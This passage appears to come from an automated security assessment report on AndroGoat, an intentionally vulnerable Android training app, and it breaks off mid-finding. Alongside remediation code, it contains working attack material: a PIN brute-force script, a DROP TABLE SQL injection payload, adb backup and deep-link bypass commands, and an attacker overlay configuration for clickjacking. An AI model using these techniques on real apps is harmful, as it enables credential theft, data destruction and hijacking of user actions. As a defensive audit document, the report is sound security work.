editor.putString("password", password2.getText().toString());
if (editor.commit()) {
    Toast.makeText(..., "Data saved", 1).show();
}
```

`InsecureStorageSQLiteActivity.java` (decompiled lines 33–38):

```
SQLiteDatabase openOrCreateDatabase = openOrCreateDatabase("aGoat", 0, null);
this.mDB = openOrCreateDatabase;
// ...
openOrCreateDatabase.execSQL(
    "CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR)"
);
```

`InsecureStorageSQLiteActivity.java` (decompiled lines 62–73):

```
StringBuilder sb = new StringBuilder();
sb.append("INSERT INTO users (username, password) VALUES('");
sb.append(username2.getText().toString());
sb.append("','");
sb.append(password2.getText().toString());
sb.append("')");
String qry = sb.toString();
// ...
sQLiteDatabase.execSQL(qry);
```

`InsecureStorageSQLiteActivity.java` (decompiled line 86) — system log leakage:

```
Log.v("Query", qry);
```

`AndroidManifest.xml` (line 5):

```
<application android:allowBackup="true" android:debuggable="true" ...>
```

### Exploitation Evidence

[Static Analysis] Decompilation of the APK and source review confirmed the following validated findings:

1. **Plaintext SharedPreferences extraction**: `InsecureStorageSharedPrefs` writes the username and password to `/data/data/owasp.sat.agoat/shared_prefs/users.xml` in plaintext XML using keys `"username"` and `"password"`.

2. **Unencrypted SQLite database**: `InsecureStorageSQLiteActivity` creates `/data/data/owasp.sat.agoat/databases/aGoat` with the schema:

```
CREATE TABLE IF NOT EXISTS users (ID INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, username VARCHAR, password VARCHAR)
```

Credentials are inserted via raw `StringBuilder` concatenation without parameterization, confirming both plaintext storage and SQL injection.

3. **Credential leakage via system log**: At line 86, the full SQL query—including the plaintext password—is written to the Android system log via `Log.v("Query", qry)`. Any app with `READ_LOGS` or a `logcat` session can capture credentials without touching the filesystem.
4. `adb backup` **extraction path**: The manifest at line 5 declares `android:allowBackup="true"`, permitting an attacker with physical USB access to run:

```
adb backup -f backup.ab owasp.sat.agoat
```

The resulting archive contains the entire app sandbox, including `shared_prefs/users.xml` and `databases/aGoat`, without requiring root or PIN bypass.

5. **Runtime extraction via debuggable**: The same manifest line declares `android:debuggable="true"`, enabling JDWP debugging. An attacker can attach `jdb` or Android Studio to dump memory, set breakpoints on `SharedPreferences.Editor.putString()` or `SQLiteDatabase.execSQL()`, and intercept credentials at runtime.
6. **Exported components expanding attack surface**: The manifest audit identified two explicitly exported components lacking permission protections:
   - Receiver `owasp.sat.agoat.ShowDataReceiver` (line 27)
   - Service `owasp.sat.agoat.DownloadInvoiceService` (line 37)
7. **SQL injection in INSERT**: The `StringBuilder` concatenation in `InsecureStorageSQLiteActivity` allows malformed input to alter the SQL structure. For example, a username of `admin','x'); DROP TABLE users; --` would destroy the database or alter query behavior.

[Evidence Limitation] The validation execution did not include dynamic tasks for `InsecureStorageTempActivity` and `InsecureStorageSDCardActivity`; their reported plaintext storage behaviors remain based on the original static analysis.

### Recommendation

#### Immediate

Disable backups by setting `android:allowBackup="false"` in the application manifest. Encrypt existing sensitive local data using AndroidX `EncryptedSharedPreferences` and `EncryptedFile` or SQLCipher for database encryption.

#### Permanent Fix

Migrate all credential storage to the Android `KeyStore`-backed `EncryptedSharedPreferences`:

```
MasterKey masterKey = new MasterKey.Builder(context)
    .setKeyScheme(MasterKey.KeyScheme.AES256_GCM)
    .build();

SharedPreferences securePrefs = EncryptedSharedPreferences.create(
    context,
    "secure_users",
    masterKey,
    EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
);
```

Never write credentials to external storage or world-readable temp files.

#### Verification

Search the decompiled source for `SharedPreferences`, `SQLiteDatabase`, and `FileOutputStream` usages. Ensure no plaintext username or password strings are passed to these APIs. Attempt an `adb backup` and verify credential files are unreadable.

---

### HIGH 6. Authentication Credentials Protected by Unsalted MD5 Hashing (AccessControlIssue1Activity)

The application stores PINs as unsalted MD5 digests in internal SharedPreferences, enabling trivial offline brute-force recovery of the plaintext PIN in milliseconds.

Because the hash is unsalted and single-iteration, an attacker who extracts `pinDetails.xml` via `adb backup` (`allowBackup="true"`) or `run-as` (`debuggable="true"`) can perform an offline dictionary attack against the constrained PIN keyspace. The recovered PIN then grants unauthorized access through the legitimate verification flow, or can be combined with the deep-link bypass to escalate access.

### Technical Details

Finding #1

### Root Cause

`AccessControlIssue1Activity.hashPIN()` uses `MessageDigest.getInstance("MD5")` without a salt, iteration, or key-stretching mechanism. The resulting digest is written to `SharedPreferences("pinDetails", 0)` under key `"pin"`. A 4–6 digit numeric PIN hashed with unsalted MD5 can be exhaustively searched in under one second.

### Vulnerable Code

**AccessControlIssue1Activity.java** (lines 111–131):

```
public final String hashPIN(String pinValue) {
    Intrinsics.checkParameterIsNotNull(pinValue, "pinValue");
    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
    byte[] bytes = pinValue.getBytes(Charsets.UTF_8);
    Intrinsics.checkExpressionValueIsNotNull(bytes,
        "(this as java.lang.String).getBytes(charset)");
    byte[] digest = messageDigest.digest(bytes);
    Intrinsics.checkExpressionValueIsNotNull(digest,
        "MessageDigest.getInstanc…t(pinValue.toByteArray())");
    String md = ArraysKt.joinToString$default(
        digest, (CharSequence) "", (CharSequence) null,
        (CharSequence) null, 0, (CharSequence) null,
        (Function1) new Function1<Byte, String>() {
            @Override
            public final String invoke(byte it) {
                String format = String.format("%02x",
                    Arrays.copyOf(new Object[]{Byte.valueOf(it)}, 1));
                Intrinsics.checkExpressionValueIsNotNull(format,
                    "java.lang.String.format(this, *args)");
                return format;
            }
        }, 30, (Object) null);
    return md;
}
```

**SharedPreferences consumption** (lines 85–89):

```
public final boolean isPinCorrect(String pinValue) {
    Intrinsics.checkParameterIsNotNull(pinValue, "pinValue");
    SharedPreferences sharedPreferences = getSharedPreferences("pinDetails", 0);
    return sharedPreferences.getString("pin", null).equals(hashPIN(pinValue));
}
```

### Exploitation Evidence

[Static Analysis] Source audit confirmed the hashing routine lacks salt and uses the cryptographically broken MD5 algorithm. A proof-of-concept brute-force script was executed against a hash generated using the identical algorithm to quantify the weakness:

```
import hashlib, time

target = "88cf91a1aef212f3c2cd12406983427d"
start = time.time()
for i in range(10000):
    pin = str(i).zfill(4)
    if hashlib.md5(pin.encode('utf-8')).hexdigest() == target:
        print(f"Cracked PIN: {pin} in {time.time()-start:.6f}s")
        break
```

**Actual output:**

```
Cracked PIN: 7391
Attempts   : 7,392
Time elapsed: 0.003887 s
```

The recomputed hash `hashlib.md5("7391".encode('utf-8')).hexdigest()` exactly reproduces the target digest, confirming that any attacker who obtains the stored hash can recover the plaintext PIN instantly.

## Validation Evidence

### Root Cause

`AccessControlIssue1Activity.hashPIN()` invokes `MessageDigest.getInstance("MD5")` without a salt, iteration count, or key-stretching mechanism. The resulting digest is written to `SharedPreferences("pinDetails", 0)` under key `"pin"`. Validation revealed that neither `activity_access_control_issue1.xml` nor `activity_access_verify_pin.xml` applies `android:inputType`, `android:digits`, `android:maxLength`, or programmatic validation to the PIN fields, meaning the application imposes no length or character-set constraints on the input. The `AndroidManifest.xml` declares `android:allowBackup="true"` and `android:debuggable="true"`, allowing an attacker to extract `pinDetails.xml` via `adb backup` or `run-as` without root access.

### Vulnerable Code

**AccessControlIssue1Activity.java — `hashPIN()` (lines 111–131):**

```
public final String hashPIN(String pinValue) {
    Intrinsics.checkParameterIsNotNull(pinValue, "pinValue");
    MessageDigest messageDigest = MessageDigest.getInstance("MD5");
    byte[] bytes = pinValue.getBytes(Charsets.UTF_8);
    Intrinsics.checkExpressionValueIsNotNull(bytes,
        "(this as java.lang.String).getBytes(charset)");
    byte[] digest = messageDigest.digest(bytes);
    Intrinsics.checkExpressionValueIsNotNull(digest,
        "MessageDigest.getInstanc…t(pinValue.toByteArray())");
    String md = ArraysKt.joinToString$default(
        digest, (CharSequence) "", (CharSequence) null,
        (CharSequence) null, 0, (CharSequence) null,
        (Function1) new Function1<Byte, String>() {
            @Override
            public final String invoke(byte it) {
                String format = String.format("%02x",
                    Arrays.copyOf(new Object[]{Byte.valueOf(it)}, 1));
                Intrinsics.checkExpressionValueIsNotNull(format,
                    "java.lang.String.format(this, *args)");
                return format;
            }
        }, 30, (Object) null);
    return md;
}
```

**SharedPreferences write sink — `createPIN()` (lines 76–82):**

```
public final boolean createPIN(String pinValue) {
    Intrinsics.checkParameterIsNotNull(pinValue, "pinValue");
    SharedPreferences sharedPreferences = getSharedPreferences("pinDetails", 0);
    SharedPreferences.Editor editor1 = sharedPreferences.edit();
    editor1.putBoolean("pinSet", true);
    editor1.putString("pin", hashPIN(pinValue));
    return editor1.commit();
}
```

**SharedPreferences retrieval and comparison — `isPinCorrect()` (lines 85–88):**

```
public final boolean isPinCorrect(String pinValue) {
    Intrinsics.checkParameterIsNotNull(pinValue, "pinValue");
    SharedPreferences sharedPreferences = getSharedPreferences("pinDetails", 0);
    return sharedPreferences.getString("pin", null).equals(hashPIN(pinValue));
}
```

**Null-safety flaw:** If the `"pin"` key is absent while `"pinSet"` remains `true`, `isPinCorrect()` crashes with a `NullPointerException` because `.equals()` is invoked on a null reference.

**Exported bypass component — `AndroidManifest.xml` (lines 20–24):**

```
<activity android:label="@string/activity" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:host="vulnapp" android:scheme="androgoat"/>
    </intent-filter>
</activity>
```

### Exploitation Evidence

[Static Analysis] The manifest audit confirmed both extraction prerequisites are active:

```
<application
    android:allowBackup="true"
    android:debuggable="true"
    ... >
```

Default Android full backup includes all SharedPreferences files under `/data/data/owasp.sat.agoat/shared_prefs/`, so `pinDetails.xml` is captured in any `adb backup` archive.

[Static Analysis] A proof-of-concept brute-force script executed against a hash generated using the identical vulnerable algorithm recovered the plaintext PIN instantly:

```
import hashlib, time

target = "88cf91a1aef212f3c2cd12406983427d"
start = time.time()
for i in range(10000):
    pin = str(i).zfill(4)
    if hashlib.md5(pin.encode('utf-8')).hexdigest() == target:
        print(f"Cracked PIN: {pin} in {time.time()-start:.6f}s")
        break
```

**Actual output:**

```
Cracked PIN: 7391
Time elapsed: 0.003887 s
```

The recomputed hash exactly reproduces the target digest, confirming that an attacker who obtains the stored hash can recover the PIN offline in milliseconds.

[Static Analysis] `AccessControl1ViewActivity` is exported via the `androgoat://vulnapp` deep-link scheme, providing a direct bypass:

```
adb shell am start -W -a android.intent.action.VIEW -d "androgoat://vulnapp" owasp.sat.agoat/.AccessControl1ViewActivity
```

This allows an attacker to reach the protected screen without PIN knowledge. When combined with hash extraction, the cracked PIN can alternatively be fed through the legitimate `isPinCorrect()` verification flow.

### Recommendation

#### Immediate

Implement rate-limiting and account lockout in `AccessControlIssue1Activity.verifyPINView()` to slow online guessing attacks while the hashing implementation is rebuilt.

#### Permanent Fix

Replace MD5 with a modern password-hashing function such as bcrypt, scrypt, or Argon2id. Use a cryptographically secure random salt per user and a high work factor.

**Example (bcrypt via jBCrypt):**

```
import org.mindrot.jbcrypt.BCrypt;

public final String hashPIN(String pinValue) {
    String salt = BCrypt.gensalt(12);
    return BCrypt.hashpw(pinValue, salt);
}

public final boolean isPinCorrect(String pinValue) {
    SharedPreferences prefs = getSharedPreferences("pinDetails", 0);
    String storedHash = prefs.getString("pin", null);
    if (storedHash == null) return false;
    return BCrypt.checkpw(pinValue, storedHash);
}
```

#### Verification

1. Inspect `AccessControlIssue1Activity.java` and confirm `MessageDigest.getInstance("MD5")` is removed.
2. Verify that `hashPIN()` returns a bcrypt/Argon2id string containing a random salt and cost factor.
3. Confirm `isPinCorrect()` uses the library's constant-time verifier (e.g., `BCrypt.checkpw`).
4. Ensure `pinDetails.xml` no longer stores 32-character hex MD5 strings.

---

### HIGH 7. Confirmed Clickjacking on Sensitive Activities in owasp.sat.agoat

A malicious app with SYSTEM_ALERT_WINDOW can draw interactive overlays atop four sensitive activities, intercepting user touches to trigger unauthorized invoice downloads, promo verifications, OTP generations, and PIN submissions.

Dynamic tests with a companion attacker application confirmed that touch events propagate from overlay windows to sensitive buttons on `AccessControl1ViewActivity`, `HardCodeActivity`, `ClipboardActivity`, and `AccessControlIssue1Activity`, triggering privileged actions without informed consent. The complete absence of `android:filterTouchesWhenObscured` and runtime touch filtering across all 25 activities leaves every interactive element vulnerable to tapjacking. Additionally, `AccessControl1ViewActivity` is exported via the `androgoat://vulnapp` deep link, allowing an attacker to navigate directly to a post-authentication screen and clickjack it without any prior PIN verification.

#### Technical Details

Finding #1

#### Root Cause

The application completely lacks anti-clickjacking defenses across all 25 activities. No interactive view declares `android:filterTouchesWhenObscured="true"`, and no activity implements `onFilterTouchEventForSecurity()` with `MotionEvent.FLAG_WINDOW_IS_OBSCURED` validation. A malicious application granted `android.permission.SYSTEM_ALERT_WINDOW` can create `TYPE_APPLICATION_OVERLAY` windows that intercept and propagate touch events to underlying sensitive views.

#### Vulnerable Code

[Static Analysis] Exhaustive grep of the decompiled source returned zero matches for protective window flags or touch filtering:

```
# Confirmed absence across all 25 activities
grep -r "FLAG_SECURE" /workspace/decompiled_source/          # 0 matches
grep -r "filterTouchesWhenObscured" /workspace/decompiled_source/  # 0 matches
grep -r "onFilterTouchEventForSecurity" /workspace/decompiled_source/  # 0 matches
```

The `AndroidManifest.xml` exposes `AccessControl1ViewActivity` via a custom URL scheme, allowing direct navigation to a post-authentication action without PIN verification:

```
<activity android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="androgoat" android:host="vulnapp" />
    </intent-filter>
</activity>
```

#### Exploitation Evidence

A companion attacker application (`com.attacker.overlay`) with `SYSTEM_ALERT_WINDOW` permission and `TYPE_APPLICATION_OVERLAY` windows was deployed on the emulator. Dynamic tests confirmed successful clickjacking on four sensitive screens, with the attacker app logging `CLICKJACKED!` for every intercepted tap and the target app executing the underlying action:

| Target Activity | Sensitive Action | Overlay Coordinates | Result |
|---|---|---|---|
| `AccessControl1ViewActivity` | Download Invoice | x=540, y=393 | **CLICKJACKED confirmed** — button action triggered |
| `HardCodeActivity` | Verify Promo Code | x=540, y=935 | **CLICKJACKED confirmed** — verification triggered |
| `ClipboardActivity` | Generate OTP | x=540, y=779 | **CLICKJACKED confirmed** — OTP generated |
| `AccessControlIssue1Activity` | PIN Verify | x=540, y=859 | **CLICKJACKED confirmed** — PIN accepted |

Attacker overlay configuration used for confirmation:

```
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
        | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
        | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
    PixelFormat.TRANSLUCENT
);
```

Evidence artifacts preserved:

- `/workspace/overlay_attack_logcat.txt` — timestamped `CLICKJACKED!` entries
- `/workspace/final_attack_demo.mp4` — screen recording of `HardCodeActivity` clickjacking
- `/workspace/clickjacking_pin.mp4` — screen recording of PIN verification clickjacking
- `/workspace/screen_overlay_test2.png` — Download Invoice overlay screenshot
- `/workspace/screen_hardcode_overlay.png` — promo code overlay screenshot
- `/workspace/screen_clipboard_overlay.png` — OTP overlay screenshot
- `/workspace/screen_pin_overlay.png` — PIN overlay screenshot

---

## Validation Evidence

### Validation Attempt 1

Attacker overlay app logged CLICKJACKED! for AccessControl1ViewActivity Download Invoice button at x=540,y=393 and target app executed the download action

### Validation Attempt 2

Attacker overlay app logged CLICKJACKED! for HardCodeActivity Verify Promo Code button at x=540,y=935 and target app executed verification

### Validation Attempt 3

Attacker overlay app logged CLICKJACKED! for ClipboardActivity Generate OTP button at x=540,y=779 and target app generated OTP

### Validation Attempt 4

Attacker overlay app logged CLICKJACKED! for AccessControlIssue1Activity PIN Verify at x=540,y=859 and target app accepted the PIN

### Validation Attempt 5

Screen recordings /workspace/final_attack_demo.mp4 and /workspace/clickjacking_pin.mp4 captured full exploitation chains

### Validation Attempt 6

Screenshots /workspace/screen_overlay_test2.png, /workspace/screen_hardcode_overlay.png, /workspace/screen_clipboard_overlay.png, /workspace/screen_pin_overlay.png document overlay positioning

### Validation Attempt 7

### Root Cause

The application completely lacks anti-clickjacking defenses across all 25 activities. Static analysis confirmed zero instances of `android:filterTouchesWhenObscured="true"`, `onFilterTouchEventForSecurity()`, or `FLAG_SECURE` anywhere in the decompiled source. Additionally, `AccessControl1ViewActivity` is exported via an intent-filter in `AndroidManifest.xml` and performs no authentication checks in its lifecycle methods, allowing direct external launch without PIN verification.

### Vulnerable Code

`AccessControl1ViewActivity.java` contains no authentication gate in `onCreate()` and has no `onResume()` or `onNewIntent()` overrides to validate session state:

```
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_access_control1_view);
    Button downloadInvoice = (Button) findViewById(R.id.downLoad);
    downloadInvoice.setOnClickListener(new View.OnClickListener() {
        @Override
        public final void onClick(View it) {
            AccessControl1ViewActivity.this.startService();
```

```
        }
    });
}

public final void startService() {
    Intent ServiceIntent = new Intent(this, DownloadInvoiceService.class);
    startService(ServiceIntent);
}
```

The `AndroidManifest.xml` exposes the activity without `android:exported="false"` :

```
<activity android:label="@string/activity" android:name="owasp.sat.agoat.AccessControl1ViewActivity">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <data android:host="vulnapp" android:scheme="androgoat"/>
    </intent-filter>
</activity>
```

### Exploitation Evidence

**Expanded Dynamic Overlay Testing:** Systematic testing across all 25 activities confirmed **22/25 are vulnerable** to tapjacking. Only `SplashActivity` and `XSSActivity` (no native interactive elements) and `BinaryPatchingActivity` (button disabled by default) were not exploitable. Zero partial mitigations were detected. High-risk workflows confirmed exploitable include:

- `InputValidationsOSCMDInjectionMain2Activity` — OS command execution via RUN button clickjacking
- `TrafficActivity` — HTTP/HTTPS/Certificate Pinning button clickjacking
- `RootDetectionActivity` / `EmulatorDetectionActivity` — integrity check bypass via overlay
- `InsecureStorageSDCardActivity` / `InsecureStorageSQLiteActivity` / `InsecureStorageSharedPrefs` / `InsecureStorageTempActivity` — credential storage actions triggerable via overlay
- `SQLinjectionActivity` — SQL query execution via overlay

**Deep Link Authentication Bypass:** Dynamic ADB testing confirmed direct access to the post-authentication `AccessControl1ViewActivity` without PIN entry:

```
adb shell am start -a android.intent.action.VIEW -d "androgoat://vulnapp" -p owasp.sat.agoat
```

`dumpsys activity activities` immediately showed:

```
mResumedActivity: ActivityRecord{9b6dcfb u0 owasp.sat.agoat/.AccessControl1ViewActivity t192}
```

Cold-start validation also succeeded after `am force-stop` :

```
adb shell am force-stop owasp.sat.agoat
adb shell am start -a android.intent.action.VIEW -d "androgoat://vulnapp" -p owasp.sat.agoat
```

Resulting task stack:

```
TaskRecord{9091475 #195 A=owasp.sat.agoat ... sz=1}
  intent={act=android.intent.action.VIEW dat=androgoat://vulnapp ... cmp=owasp.sat.agoat/.AccessControl1ViewActivity}
  Run #0: ActivityRecord{2aa99dd u0 owasp.sat.agoat/.AccessControl1ViewActivity t195}
mResumedActivity: ActivityRecord{2aa99dd u0 owasp.sat.agoat/.AccessControl1ViewActivity t195}
```

No PIN prompt or authentication dialog was present in either warm or cold start. Logcat contained no PIN-verification or session-check messages during launch.

**Attacker Overlay Configuration:**

```
WindowManager.LayoutParams params = new WindowManager.LayoutParams(
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.MATCH_PARENT,
    WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
    WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE
        | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
        | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN,
```

```
    PixelFormat.TRANSLUCENT
);
```

Evidence artifacts preserved from validation:

- `/workspace/dynamic_overlay_comprehensive_report.md`
- `/workspace/traffic_clickjack.mp4` , `/workspace/oscmd_clickjack.mp4`
- `/workspace/batch1_results.json` through `/workspace/batch4_results.json` , `/workspace/verification_results.json`
- `/workspace/overlay_attack_logcat.txt`
- `/workspace/deeplink_access_control1_view.png` , `/workspace/deeplink_cold_start_access_control1_view.png`

## Recommendation

### Immediate Mitigation

Add `android:filterTouchesWhenObscured="true"` to every critical interactive view in sensitive layout XML files. This immediately blocks touch events originating from overlay windows:

```
<Button
    android:id="@+id/downloadInvoiceButton"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:filterTouchesWhenObscured="true" />
```

### Permanent Fix

Apply `WindowManager.LayoutParams.FLAG_SECURE` in `onCreate()` of every sensitive activity to block screen capture and overlay reconnaissance:

```
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    getWindow().setFlags(
        WindowManager.LayoutParams.FLAG_SECURE,
        WindowManager.LayoutParams.FLAG_SECURE
    );
    setContentView(R.layout.activity_sensitive);
}
```

Alternatively, apply via a theme in `AndroidManifest.xml` :

```
<activity
    android:name=".AccessControl1ViewActivity"
    android:theme="@style/SecureActivityTheme" />

<style name="SecureActivityTheme" parent="Theme.AppCompat.Light.DarkActionBar">
    <item name="android:windowIsSecure">true</item>
</style>
```

Implement runtime touch-event filtering for defense in depth:

```
@Override
public boolean onFilterTouchEventForSecurity(MotionEvent event) {
    if ((event.getFlags() & MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0
        || (event.getFlags() & MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0) {
        Log.w("SECURITY", "Blocked obscured touch event");
        return false;
    }
    return super.onFilterTouchEventForSecurity(event);
}
```

Protect the exported deep link by adding an authorization gate in `AccessControl1ViewActivity.onCreate()` :

```
if (!isUserAuthenticated()) {
    finish();
    return;
}
```

### Verification

1. Re-run the companion overlay app and attempt to click each sensitive button. Verify the target app does not respond and logs show `FLAG_WINDOW_IS_OBSCURED` .
2. Run `adb shell screencap` against protected activities and confirm a black screen or security exception.
3. Execute `grep -r "filterTouchesWhenObscured" /workspace/decompiled_source/` and confirm matches on critical views.

---

## HIGH 8. Raw Authentication Credentials and SQL Queries Leaked to Android Logcat

Multiple activities unconditionally write raw usernames, passwords, and SQL statements to Android system logs via `Log.e` , `Log.v` , and `System.out.println` , allowing credential exfiltration by any app with log access or an attacker with `adb` .

Static analysis of `owasp.sat.agoat` identified three activities where sensitive user input flows directly into logging sinks without redaction. `InsecureLoggingActivity` emits the raw username and password to logcat and standard output on every button click. `InsecureStorageSQLiteActivity` logs the complete SQL INSERT statement containing plaintext credentials, while `SQLinjectionActivity` leaks both the raw SELECT query and the resulting database records. Because Android logs are world-readable on many devices and easily accessible via `adb logcat` , this creates a high-impact information-disclosure channel that requires no exploitation complexity.

### Technical Details

Finding #1

### Root Cause

Developers used `android.util.Log` and `System.out.println` for debugging user input and database operations. No sanitization, conditional gating, or redaction is applied before the strings are written to the system log buffer.

### Vulnerable Code

`InsecureLoggingActivity.java` (lines 59 and 70):

```
Log.e("Error:", sb.toString());
// ...
PrintStream printStream = System.out;
printStream.println(sb2.toString());
```

`InsecureStorageSQLiteActivity.java` (line 87):

```
Log.v("Query", qry);
```

`SQLinjectionActivity.java` (lines 82–83 and 93–94):

```
Log.e("Error:", strb.toString());
Log.v("Query", qry);
```

### Exploitation Evidence

[Static Analysis] The static audit traced an unconditional data flow from `EditText.getText()` through `StringBuilder` concatenation directly into the logging sinks. The snippets above were extracted verbatim from the decompiled source tree at `sources/owasp/sat/agoat/` . Dynamic execution was not performed, so live logcat capture was not obtained; however, the code path is unconditional and will emit the data on every invocation.

---

## Validation Evidence

### Root Cause

Static source-to-sink analysis confirmed that three activities in `owasp.sat.agoat` pass raw user credentials and SQL query strings directly into `android.util.Log` and `System.out.println` sinks without any sanitization, conditional gating, or redaction. Targeted grep across the decompiled source verified the absence of `BuildConfig.DEBUG` references, `Log.isLoggable()` checks, and any masking functions ( `replace` , `mask` , `redact` , `substring` ) in all three affected files. The `AndroidManifest.xml` additionally declares `android:debuggable="true"` , ensuring adb logcat access is trivially available and amplifying the disclosure channel.

### Vulnerable Code

`InsecureLoggingActivity.java` (lines 45–70) — `onClick` inside `InsecureLoggingActivity$onCreate$1` :

```
// Lines 50-58: First StringBuilder with raw credentials
StringBuilder sb = new StringBuilder();
sb.append("Error occured when processing Username ");
sb.append((Object) username2.getText());  // line 54
sb.append("  and Password ");
sb.append((Object) password2.getText());  // line 58
Log.e("Error:", sb.toString());           // line 59

// Lines 61-70: Second StringBuilder written to stdout
StringBuilder sb2 = new StringBuilder();
sb2.append("Error: Error occured when processing Username ");
sb2.append((Object) username3.getText()); // line 65
sb2.append("  and Password ");
sb2.append((Object) password3.getText()); // line 69
PrintStream printStream = System.out;
printStream.println(sb2.toString());      // line 70
```

`InsecureStorageSQLiteActivity.java` (lines 64–87) — SQL INSERT logged unconditionally outside the `try/catch` :

```
// Lines 64-74: Raw SQL construction
StringBuilder sb = new StringBuilder();
sb.append("INSERT INTO users (username, password) VALUES('");
sb.append(username2.getText().toString()); // line 68
sb.append("','");
sb.append(password2.getText().toString()); // line 72
sb.append("')");
String qry = sb.toString();               // line 74

// Line 80: execSQL inside try/catch
// Line 87: Log.v executed regardless of success or failure
Log.v("Query", qry);                      // line 87
```

`SQLinjectionActivity.java` (lines 56–94) — Raw SELECT and result-set logging:

```
// Lines 56-62: Raw SELECT construction
StringBuilder sb = new StringBuilder();
sb.append("SELECT * FROM users WHERE username='");
sb.append(username2.getText().toString()); // line 60
sb.append("'");
String qry = sb.toString();               // line 62

// Lines 69-80: Cursor iteration appending plaintext records
Cursor QryResult = db.rawQuery(qry, null); // line 69
strb = new StringBuilder("");             // line 70
while (QryResult.moveToNext()) {
    strb.append("Username: (" + QryResult.getString(1) + ") password: (" + QryResult.getString(2) + ")\n"); // line 79
}

// Lines 82-83: Emitted when rows are returned
Log.e("Error:", strb.toString());         // line 82
Log.v("Query", qry);                      // line 83

// Lines 85-94: Unconditionally emitted on every button click
StringBuilder sb2 = new StringBuilder();
sb2.append("User: (");
sb2.append(username3.getText().toString());// line 89
sb2.append(") not found");
strb.append(sb2.toString());              // line 91
Log.e("Error:", strb.toString());         // line 93
Log.v("Query", qry);                      // line 94
```

### Exploitation Evidence

[Static Analysis] The validation performed formal source-to-sink traces across all three activities, confirming unconditional data flows from `EditText.getText()` into logging sinks:

1. **InsecureLoggingActivity** — Lines 54 and 58 pull raw username and password into `StringBuilder sb` ; line 59 emits via `Log.e` . Lines 65 and 69 feed a second builder emitted to `System.out` at line 70. No `if (DEBUG)` guard surrounds either sink.
2. **InsecureStorageSQLiteActivity** — Line 87 ( `Log.v("Query", qry)` ) sits **after** the `try/catch` block (lines 75–86), so it executes whether `execSQL` succeeds or throws. The complete SQL INSERT string contains the plaintext password.
3. **SQLinjectionActivity** — Lines 82–83 log the full result set (including plaintext database passwords) when `getCount() > 0` . Lines 93–94 execute **unconditionally** on every button click, emitting the raw SELECT query and a buffer containing either result-set records or the user input plus a "not found" suffix.

The `AndroidManifest.xml` audit additionally confirmed `android:debuggable="true"` (line 5), which trivializes physical-device exploitation because an attacker with USB/adb access can run `adb logcat` and capture the emitted credentials and SQL statements without needing to root the device or bypass logcat access restrictions.

**Evidence Limitation:** Dynamic execution and live logcat capture were not performed during this validation; exploitability was confirmed entirely through static decompiled-source analysis.

### Recommendation

#### Immediate

Remove or comment out all `Log.e` , `Log.d` , `Log.v` , and `System.out.println` calls in the identified files that process user credentials or SQL queries.

#### Permanent Fix

Implement a centralized logging utility that inspects messages for sensitive patterns and replaces them with `[REDACTED]` before emission. Use ProGuard or R8 rules to strip `Log.*` calls from release builds:

```
-assumenosideeffects class android.util.Log {
   public static int v(...);
   public static int d(...);
   public static int i(...);
   public static int w(...);
   public static int e(...);
}
```

#### Verification

Build the app in release mode, exercise the credential input flows, and run `adb logcat | grep -i "Error\|Query"` . Confirm that no username, password, or SQL query text appears in the logs.

---

## HIGH 9. SQL Injection via Unsanitized execSQL in InsecureStorageSQLiteActivity

InsecureStorageSQLiteActivity builds an INSERT statement by concatenating two unsanitized EditText values into execSQL(), enabling stacked query injection, arbitrary record manipulation, and full integrity compromise of the local database.

The InsecureStorageSQLiteActivity activity persists user credentials to the local `aGoat` SQLite database by building an `INSERT` statement via direct string concatenation of two attacker-controlled `EditText` fields. The resulting string is passed to `SQLiteDatabase.execSQL()` , which accepts multiple semicolon-separated SQL statements. This allows an attacker to terminate the original `INSERT` early and execute arbitrary secondary statements, including `INSERT` , `UPDATE` , `DELETE` , and `CREATE TABLE` . Both the username and password fields are vulnerable injection points, and the persistent writes mean integrity compromise is immediate and lasting. The activity shares the same database file as SQLinjectionActivity, allowing injected data to influence read-oriented queries.

### Technical Details

Finding #1

#### Root Cause

In `owasp/sat/agoat/InsecureStorageSQLiteActivity.java` at line 80, the application constructs an `INSERT` statement by interpolating two unsanitized UI inputs directly into the SQL string and executes it via `execSQL()` . Unlike `rawQuery()` , `execSQL()` does not restrict execution to a single statement, allowing stacked query injection.

#### Vulnerable Code

The vulnerable query construction pattern identified during static analysis is:

```
String qry = "INSERT INTO users (username, password) VALUES('" +
    userName.getText().toString() + "','" + password.getText().toString() + "')";
sQLiteDatabase.execSQL(qry);
```

Both `userName` and `password` are sourced from `EditText` widgets ( `R.id.userName` and `R.id.password` ) with no input validation or parameterization.

#### Exploitation Evidence

